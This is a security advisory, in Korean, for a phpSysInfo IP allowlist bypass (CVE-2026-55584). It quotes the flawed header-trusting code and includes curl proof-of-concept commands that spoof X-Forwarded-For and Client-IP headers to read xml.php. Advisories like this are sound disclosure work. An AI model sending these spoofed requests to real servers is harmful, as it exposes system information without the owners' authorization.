
CVE-2026-55584 — phpSysInfo IP 허용 목록 우회
CWE-290, CVSS 7.5 (높음), phpSysInfo <= 3.4.5
참조: GHSA-786w-p5pm-cvgh, CVE.org
PSI_ALLOWED는 REMOTE_ADDR로 폴백하기 전에 공격자가 제어하는 X-Forwarded-For(그다음 Client-IP) 헤더에서 클라이언트 IP를 결정합니다. 신뢰할 수 있는 프록시 개념이 없으므로, 허용된 IP를 스푸핑하면 허용 목록을 무력화하고 xml.php를 통해 전체 시스템 정보가 노출됩니다.
PoC:
# allowlist set to an address the attacker doesn't own (ALLOWED=8.8.8.8)
curl -s http://target/xml.php # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php # bypass, full XML
취약한 코드 (read_config.php):
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last
}
3.4.6(019fa2d)에서 수정됨: 기본적으로 REMOTE_ADDR을 사용하며, 구성된 신뢰할 수 있는 프록시에서만 X-Forwarded-For / Client-IP를 인정합니다.
보고자: Muhammed Mirac Kayıkci